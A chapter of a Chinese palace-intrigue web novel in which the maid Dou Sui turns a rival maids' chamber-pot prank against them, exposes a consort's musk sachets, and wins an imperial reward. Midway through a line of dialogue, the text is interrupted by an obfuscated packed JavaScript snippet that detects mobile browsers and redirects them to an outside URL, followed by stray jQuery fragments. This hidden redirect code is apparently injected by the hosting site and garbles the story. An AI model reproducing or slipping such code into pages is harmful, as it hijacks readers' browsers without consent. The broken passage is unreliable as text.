6. 掖庭春

作品:《大昭长歌

    卯时。


    掖庭的寒露渐浓,井台边,几个绿袍宫女正偷偷往窦绥的铜盆里倒夜壶水——这是她们昨夜就计划好的“新招”。


    “看她在凤仪宫这么嚣张,姐几个得先发制人,才不能被她欺负去。”远椿说。


    阿箩捏着帕子冷笑:“姐妹们,等会儿窦娘子去告状,咱们就说看见她自己泼的水,反正她平日里最会装模作样......“


    “对,一会她来,直接把夜壶水倒她身上,让她丢脸,等她去凤仪宫告状时,姐几个作证,再说她“诬陷同僚“。把她赶出掖庭!”暮烟说。


    哪知,窦绥早就看到她们几人鬼鬼祟祟商量着什么,她凑去一听,果然是在算计自己。于是蹑手蹑脚地回房端起夜壶盆。


    窦绥走到几人身后,大喊了一声。


    “姐姐们在干嘛?”


    几人被吓了一跳,惊跳起来,窦绥故意“不小心“撞到阿箩,暮烟和远椿身上。铜盆倾斜,半盆“污秽“全泼在她们的石榴裙上,腥臭瞬间弥漫。


    阿箩尖叫着跳起来:“窦绥!你故意的!”


    窦绥故作惊慌:“哎呀!姐姐们,真是对不住。”她指着井台角落的青苔,“这井台太滑了,姐姐若是不信,咱们可以请黄门来验——这青苔上的脚印,可是姐姐的绣花鞋印?”


    几个宫女凑近一看,果然有清晰的鞋印——昨夜下雨,青苔湿滑,她们的鞋底都沾着同样的泥点。


    “窦绥,我们这就告诉黄门令去!让你在掖庭再也待不下去!”远椿说。


    “去吧,快去,我等着。”窦绥坐在一旁的石凳上喝茶,毫无畏惧。


    几人见她如此有恃无恐,面面相觑,倒是不知道该拿她怎么好。


    “怎么,怕了?各位姐妹,说来我们都是一样的境遇,世家女也罢,出身低微也罢,总归都是为皇家办事的,无论咱们里哪些人以后当了娘娘平步青云,或是分配到后宫去伺候,那也都是以后的事,现在我们自己如若不和睦,不抱团,那么偌大的皇宫里,任是谁都能欺辱我们,换句话说,如果以后我们谁成了娘娘,众人关系也不错,自然也是会有些照应的,总归不会差。现在你们明白了么?”


    远椿几个听着她的话,倒是觉得有几分道理。窦绥舀了碗热茶递给她们:“喝吧,一会换了衣裳,免得着了风寒。”


    阿箩攥紧衣角:“窦娘子明知道是我们想…为什么不告发。”


    “为何告发?”窦绥倒起一杯茶,在油灯下晃了晃,“姐姐看这茶。”她突然吹灭灯,“黑暗里,我们只能感知到自己手里的东西。


    “什么意思......”


    “你们怕我告状,是因为觉得‘告状=胜利’。“窦绥点亮灯,茶水表面浮起细密的气泡,“可真正的胜利是什么?“她敲了敲桌子”“是让所有人——包括娘娘们——都觉得‘欺负窦绥划不来’。不如和窦绥合作,这样我在后宫有用武之地,有价值可言,自然更容易活下去。”


    她忽然指向廊外:“看,那棵枯梅树。”


    众人抬头——枯枝上竟挂着几个褪色的锦囊。


    窦绥走过去摘下一个,倒出里面的东西:麝香。


    “这锦囊的绣法可有人认得?”


    几个宫女脸色煞白——“这是王美人宫里的,她最爱苏绣,也更爱芙蕖。”暮烟道。


    “所以,王美人,今日出局了。”


    窦绥刚说完,便听黄门令来宣旨。


    黄门令捧着明黄卷轴立于掖庭正殿,殿内宫女皆跪伏,窦绥与阿箩等宫女亦垂首静听。黄门令展开诏书,尖利嗓音划破寂静:


    “奉天承运,皇帝诏曰——王美人恃宠而骄,阴使奸计陷害掖庭秀女。此等蛇蝎心肠,实辱宫闱。着即刻——王美人贬为庶人,打入永巷冷宫,终身不得出。其贴身侍女翠儿杖责三十,流放边陲。”


    此旨意一宣,暮烟几人算是服了窦绥的能耐了。


    “窦绥可在?”


    “臣女在。”


    “窦绥娘子明察秋毫,护掖庭清誉,赏绢十匹、记档一次。余秀女各赏一月例银,安心当差。钦此!”


    “谢陛下,谢娘娘还臣女公道。臣女领旨谢恩!”


    众人彻底服软,掖庭的秀女们都围着她:“绥姐姐,以后我们就跟着你了!”暮烟说。


    “是啊,以后掖庭有姐姐关照我们,出去腰板都硬气了!”阿萝


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446819|185135||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    说。


    “这些事都是小事,若真听我的,我再教你们一件事。”


    只见窦绥从袖中摸出个小布包:“这是我从算账先生那儿学来的‘分账法’。“她展开布包,里面是几十根磨尖的竹签,“以后你们扫洒井台,我帮你们记工——扫一次记一根,攒够十根换我的‘抄书特权’。在后宫里,唯有这个才最重要。”窦绥指了指脑袋。


    秀女们纷纷疑惑。


    “可是,抄书,真的有用吗?”


    “只是《女则》《女训》自然没用,掖庭会教我们伺候人的规矩礼仪,我要教你们的,是算筹计数,田亩测量、逻辑推理、兵法权谋、医学常识,这些都是别人教不了的,掌握了这些,以后无论各位人在哪里,是在宫中做贵人也好,还是嫁到世家做夫人,或者做宫女,我能保证你们有了这些技术,在哪里都能拔得头筹。”


    众秀女都听傻了,各个对窦绥崇拜的不行。


    “那绥姐姐,我们怎么报答你才好?”


    “你们帮我打水,我教你们认字——这叫‘等价交换’。”


    “那以后就仰仗姐姐了!”


    阿芜在窦绥身旁,窦绥冲着她眨眨眼。


    ……………


    回到房间后,阿芜算是对窦绥刷新了认知。她帮窦绥梳着头发。


    “姑娘,我曾经真是有眼无珠,没想到姑娘竟然有这样的聪明才智,那群人立刻就从排挤到站姑娘的队了。”


    阿芜梳头的动作突然一顿。


    “我说姑娘怎么从前装作期期艾艾要瞒着许妈妈呢。”


    窦绥看着铜镜里阿芜好奇的脸问:“那你现在知道了?”


    “那时许妈妈十分担心姑娘的病,于是到处寻医问药,但是都无效果,阎夫人听去倒是高兴的很,现在想来许妈妈是藏不住事的个性,只有她担心,阎夫人才会信姑娘是真的有问题。”


    窦绥很欣慰,阿芜也是个聪明姑娘。


    “姑娘睡吧,明日还要干活呢。”


    正当窦绥要卧床就寝之时,只见窗棂外忽然闪过一个人影,据窦绥目测,是个身高一米八左右的男人身型。


    可这里是掖庭,怎么会有男人!